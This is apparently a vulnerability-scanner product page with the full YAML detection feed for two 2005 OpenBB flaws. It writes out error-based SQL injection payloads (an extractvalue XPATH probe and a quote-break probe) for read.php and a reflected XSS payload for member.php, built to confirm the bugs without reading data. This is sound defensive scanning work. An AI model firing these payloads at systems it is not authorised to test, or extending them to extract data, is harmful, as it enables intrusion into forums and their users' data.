OpenBB — 1 vulnerability check

noctis ships 1 vulnerability check for OpenBB, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

OpenBB 1.0.8 read.php TID SQL Injection and member.php XSS

CVECVE-2005-1612, CVE-2005-1613
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/openbb/openbb-read-sqli-member-xss.yaml

Open Bulletin Board (OpenBB) 1.0.8 places the TID parameter of read.php in its topic query without validation, allowing unauthenticated SQL injection (CVE-2005-1612), and writes the reverse parameter of member.php?action=list unescaped into its paging links, allowing reflected cross-site scripting (CVE-2005-1613).

For the SQL injection, this check sends read.php a TID that makes the database compute the product of two random numbers inside an XPATH error message, which OpenBB prints on its error page. On database servers without that function, it confirms instead that TID=N followed by a quote and a random marker makes the page print a MySQL syntax error quoting the marker, while TID=N alone shows no SQL error. The injected query only fails: no data is read and nothing is written.

For the cross-site scripting, it requests the member list with a reverse value that closes the link attribute and opens a harmless tag carrying a random marker, and confirms that the tag comes back unescaped inside OpenBB's own paging link.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/read.php?TID={{sc.n}}
  3. HTTP(S) request GET {{dir}}/read.php?TID={{sc.n}}%27{{sc.marker}}
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{dir}}/read.php?TID={{sc.n}}%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{dir}}/read.php?TID={{sc.n}}%27%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}…
  8. Parses / computes the next value with a Rhai script
  9. Checks x.found for ^XPATH$ → finding QoD 97: OpenBB read.php TID SQL Injection (CVE-2005-1612)
  10. Checks q.found for ^QUOTE$ → finding QoD 75: OpenBB read.php TID SQL Injection (CVE-2005-1612)
  11. Parses / computes the next value with a Rhai script
  12. HTTP(S) request GET {{dir}}/member.php?reverse=%22%3E%3Cb%20id%3D{{sc.marker}}%3E&perpage=25&sortorder=us…
  13. Parses / computes the next value with a Rhai script
  14. Checks xss_found for ^REFLECTED$ → finding QoD 75: OpenBB member.php reverse Reflected XSS (CVE-2005-1613)
  15. … and 1 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/openbb/openbb-read-sqli-member-xss.yaml
# Open Bulletin Board (OpenBB) 1.0.8 — read.php TID SQL injection (CVE-2005-1612)
# and member.php "reverse" reflected XSS (CVE-2005-1613)
#
# BID 13624 / EDB 25656: read.php puts the TID request parameter into the
# topic query without casting it (`... FROM topics WHERE id = $TID`), so
# `read.php?TID='` breaks the query. OpenBB's database layer
# (lib/database/mysql.php errorcheck()) then prints an "OpenBB SQL" page with
# mysql_error() and the failing query, and exits. The 1.0.0 RC3 source on
# SourceForge (openbb-gpl) still floors $TID before the query; 1.0.8 does not.
# BID 13625 / EDB 25657: member.php?action=list builds its paging links as
# `member.php?action=list&page=N&sortorder=…&perpage=…&reverse=<raw>`, so a
# `reverse` value with `">` breaks out of the href (shown when page > 1).
#
# Source NASL (pre2008/openbb_flaws.nasl) only greps the index.php
# "Powered by … Open Bulletin Board … 1.0.[0-8]" footer — a version check that
# misses installs whose footer was edited and flags 1.0.x installs whose
# scripts were fixed. This feed sends no version check and proves both flaws:
#   1. QoD 97 (SQLi) — `TID=N AND extractvalue(1,concat(0x7e,A*B))` (random
#      N, A, B; a quoted-context variant follows when the first stays clean):
#      MySQL >= 5.1 / MariaDB raise `XPATH syntax error: '~<A*B>'`, which the
#      OpenBB error page prints. The product only exists if the database
#      computed it; the query is a SELECT that fails, nothing is read or written.
#   2. QoD 75 (SQLi) — the NASL-era quote check with a random marker for
#      MySQL 4.x / 5.0 (no EXTRACTVALUE): `TID=N'<marker>` must print a MySQL
#      syntax error quoting the marker right after "near", while the control
#      `TID=N` answers without any SQL error.
#   3. QoD 75 (XSS) — `reverse="><b id=<marker>>` sent FIRST in the query
#      string must come back unescaped inside OpenBB's own paging link, whose
#      parameters the product re-emits in its fixed order
#      (action, page, sortorder, perpage, reverse) — an echo of the request
#      cannot produce that order. The XSS finding names CVE-2005-1613 alone.
# Error formats checked against MariaDB 10.11 behind a reconstructed
# errorcheck()/read.php/member.php sink (vulnerable: errors / raw link;
# fixed: floored TID, (int) reverse — clean).
#
# NVD has only CVSS v2 scores: 7.5 (CVE-2005-1612), 6.8 (CVE-2005-1613).
#
# Source: OpenVAS/Greenbone NASL pre2008/openbb_flaws.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.18259, GPL-2.0-only)
uid: f2a97065-19ad-40be-ae27-9330f0862935
name: "OpenBB 1.0.8 read.php TID SQL Injection and member.php XSS (CVE-2005-1612, CVE-2005-1613)"
description: |
  Open Bulletin Board (OpenBB) 1.0.8 places the TID parameter of read.php in
  its topic query without validation, allowing unauthenticated SQL injection
  (CVE-2005-1612), and writes the reverse parameter of member.php?action=list
  unescaped into its paging links, allowing reflected cross-site scripting
  (CVE-2005-1613).

  For the SQL injection, this check sends read.php a TID that makes the
  database compute the product of two random numbers inside an XPATH error
  message, which OpenBB prints on its error page. On database servers without
  that function, it confirms instead that TID=N followed by a quote and a
  random marker makes the page print a MySQL syntax error quoting the marker,
  while TID=N alone shows no SQL error. The injected query only fails: no data
  is read and nothing is written.

  For the cross-site scripting, it requests the member list with a reverse
  value that closes the link attribute and opens a harmless tag carrying a
  random marker, and confirms that the tag comes back unescaped inside
  OpenBB's own paging link.
cves: [CVE-2005-1612, CVE-2005-1613]
cvss: 7.5  # NVD publishes only CVSS v2 scores (7.5 for CVE-2005-1612)
severity: high
confidence_base: 0.30
category: sqli
tags: [openbb, sqli, xss, error-based, php, forum]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-1612"
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-1613"
  - "https://www.securityfocus.com/bid/13624"
  - "https://www.securityfocus.com/bid/13625"
  - "https://www.exploit-db.com/exploits/25656"
  - "https://www.exploit-db.com/exploits/25657"
  # OpenVAS/Greenbone NASL pre2008/openbb_flaws.nasl (GPL-2.0-only)

steps:
  # ── Random marker, topic id and operands ──────────────────────────────────
  - id: gen
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      #{ marker: "NOCTIS" + rand_hex(5), n: rand_int(100, 999), a: a, b: b, prod: a * b }
    store_as: sc

  # One finding per flaw: later install dirs are skipped once a flaw is proven.
  - id: init-sqli-done
    action: set_var
    var_name: sqli_done
    var_value: false

  - id: init-xss-done
    action: set_var
    var_name: xss_done
    var_value: false

  # ── Per candidate install dir (loop group) ────────────────────────────────
  # Pre-initialise every stored result a script reads: a failed request leaves
  # store_as unset and an undefined var would abort the whole test.
  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}
    loop:
      over: ["", "/openbb", "/forum", "/forums", "/board"]
      var: dir

  - id: init-qm
    action: set_var
    var_name: qm
    var_value: {status: 0, body: ""}

  - id: init-ev
    action: set_var
    var_name: ev
    var_value: {status: 0, body: ""}

  - id: init-evq
    action: set_var
    var_name: evq
    var_value: {status: 0, body: ""}

  - id: init-xs
    action: set_var
    var_name: xs
    var_value: {status: 0, body: ""}

  # ── SQLi stage 1: control (plain number), then a quote breaks the query ───
  - id: ctl-probe
    action: http_request
    method: GET
    path: "{{dir}}/read.php?TID={{sc.n}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: "!sqli_done"
    store_as: ctl

  - id: qm-probe
    action: http_request
    method: GET
    path: "{{dir}}/read.php?TID={{sc.n}}%27{{sc.marker}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: "!sqli_done && ctl.status >= 200 && ctl.status < 500"
    store_as: qm

  # The syntax error must quote our marker right after "near" (raw or
  # HTML-escaped quote, or \' under magic_quotes_gpc) on OpenBB's own
  # "OpenBB SQL" error page; the control must answer without any SQL error.
  - id: check-qm
    action: script
    code: |
      let sqlerr = "You have an error in your SQL syntax|XPATH syntax error|OpenBB SQL|mysql_";
      let cb = if type_of(ctl.body) == "string" { ctl.body } else { "" };
      let qb = if type_of(qm.body) == "string" { qm.body } else { "" };
      let near = "syntax to use near (?:'|&#0?39;|&#x27;|&apos;)[^\\r\\n<]{0,40}" + sc.marker;
      let hit = ctl.status >= 200 && ctl.status < 500 && !ereg(sqlerr, cb) && ereg(near, qb) && qb.contains("OpenBB SQL");
      #{ hit: hit, found: if hit { "QUOTE" } else { "" } }
    store_as: q

  # ── SQLi stage 2: the database computes A*B inside an XPATH error ─────────
  - id: ev-probe
    action: http_request
    method: GET
    path: "{{dir}}/read.php?TID={{sc.n}}%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: "q.hit"
    store_as: ev

  - id: check-ev
    action: script
    code: |
      let want = "XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + sc.prod + "(?:[^0-9]|$)";
      let eb = if type_of(ev.body) == "string" { ev.body } else { "" };
      q.hit && ereg(want, eb)
    store_as: ev_ok

  # Same proof for a quoted TID (`WHERE id = '$TID'`), only when the unquoted
  # form stayed clean.
  - id: evq-probe
    action: http_request
    method: GET
    path: "{{dir}}/read.php?TID={{sc.n}}%27%20AND%20extractvalue(1,concat(0x7e,{{sc.a}}*{{sc.b}}))%20AND%20%271%27=%271"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: "q.hit && !ev_ok"
    store_as: evq

  - id: check-evq
    action: script
    code: |
      let want = "XPATH syntax error: (?:'|&#0?39;|&#x27;|&apos;)?~" + sc.prod + "(?:[^0-9]|$)";
      let eb = if type_of(evq.body) == "string" { evq.body } else { "" };
      let ok = ev_ok || (q.hit && ereg(want, eb));
      let expr = "extractvalue(1,concat(0x7e," + sc.a + "*" + sc.b + "))";
      let payload = if ev_ok { "TID=" + sc.n + " AND " + expr } else { "TID=" + sc.n + "' AND " + expr + " AND '1'='1" };
      #{ ok: ok, found: if ok { "XPATH" } else { "" }, payload: payload }
    store_as: x

  - id: report-ev
    action: match
    source: x.found
    pattern: "^XPATH$"
    condition: "x.ok"
    on_match:
      finding:
        title: "OpenBB read.php TID SQL Injection (CVE-2005-1612)"
        description: "An unauthenticated read.php request whose TID parameter appends an EXTRACTVALUE() call made the database compute the product of two random numbers and print it in an XPATH error on the OpenBB error page: the TID parameter is injected into the SQL query, letting an attacker read or modify the forum database."
        remediation: "Upgrade OpenBB or patch read.php so that TID is cast to an integer before it is used in a query; keep the database account limited to the forum database."
        cves: [CVE-2005-1612]
        cvss: 7.5
        severity: high
        confidence_delta: 0.65
        qod: 97
        evidence: "SQL injection confirmed on {{dir}}/read.php: {{x.payload}} made the database compute the product and print XPATH syntax error '~{{sc.prod}}'"

  - id: report-qm
    action: match
    source: q.found
    pattern: "^QUOTE$"
    condition: "q.hit && !x.ok"
    on_match:
      finding:
        title: "OpenBB read.php TID SQL Injection (CVE-2005-1612)"
        description: "An unauthenticated read.php request whose TID parameter carries a quote and a random marker made OpenBB print a MySQL syntax error quoting the marker, while the same TID without the quote showed no SQL error: the TID parameter is injected into the SQL query, letting an attacker read or modify the forum database."
        remediation: "Upgrade OpenBB or patch read.php so that TID is cast to an integer before it is used in a query; keep the database account limited to the forum database."
        cves: [CVE-2005-1612]
        cvss: 7.5
        severity: high
        confidence_delta: 0.50
        qod: 75
        evidence: "SQL injection on {{dir}}/read.php: TID={{sc.n}}'{{sc.marker}} made the page print a MySQL syntax error quoting {{sc.marker}}, while the control TID={{sc.n}} showed no SQL error"

  - id: mark-sqli
    action: script
    code: "sqli_done || x.ok || q.hit"
    store_as: sqli_done

  # ── XSS: reverse comes back raw inside OpenBB's own paging link ───────────
  # Parameters are sent in reverse order; the product re-emits them in its
  # fixed action/page/sortorder/perpage/reverse order. Under magic_quotes_gpc
  # (the PHP 4 default) the quote comes back as \" — still exploitable in HTML.
  - id: xss-probe
    action: http_request
    method: GET
    path: "{{dir}}/member.php?reverse=%22%3E%3Cb%20id%3D{{sc.marker}}%3E&perpage=25&sortorder=username&page=2&action=list"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: "!xss_done"
    store_as: xs

  - id: check-xss
    action: script
    code: |
      let xb = if type_of(xs.body) == "string" { xs.body } else { "" };
      let link = "member\\.php\\?action=list&(?:amp;)?page=[0-9]+&(?:amp;)?sortorder=[^&\"<>]*&(?:amp;)?perpage=[^&\"<>]*&(?:amp;)?reverse=\\\\?\"><b id=" + sc.marker + ">";
      if !xss_done && xs.status == 200 && ereg(link, xb) { "REFLECTED" } else { "" }
    store_as: xss_found

  - id: report-xss
    action: match
    source: xss_found
    pattern: "^REFLECTED$"
    on_match:
      finding:
        title: "OpenBB member.php reverse Reflected XSS (CVE-2005-1613)"
        description: "The member list (member.php?action=list) wrote a reverse parameter that closes the link attribute and opens an HTML tag back unescaped inside its paging link: an attacker can run script in the browser of a forum user who follows a crafted link."
        remediation: "Upgrade OpenBB or patch member.php so that reverse (and the other paging parameters) are cast to integers or HTML-escaped before they are written into links."
        cves: [CVE-2005-1613]
        cvss: 6.8
        severity: medium
        confidence_delta: 0.50
        qod: 75
        evidence: "reflected XSS on {{dir}}/member.php: reverse=\"><b id={{sc.marker}}> came back unescaped inside the paging link member.php?action=list&page=…&reverse=\"><b id={{sc.marker}}>"

  - id: mark-xss
    action: script
    code: 'xss_done || xss_found == "REFLECTED"'
    store_as: xss_done

View these feeds on GitHub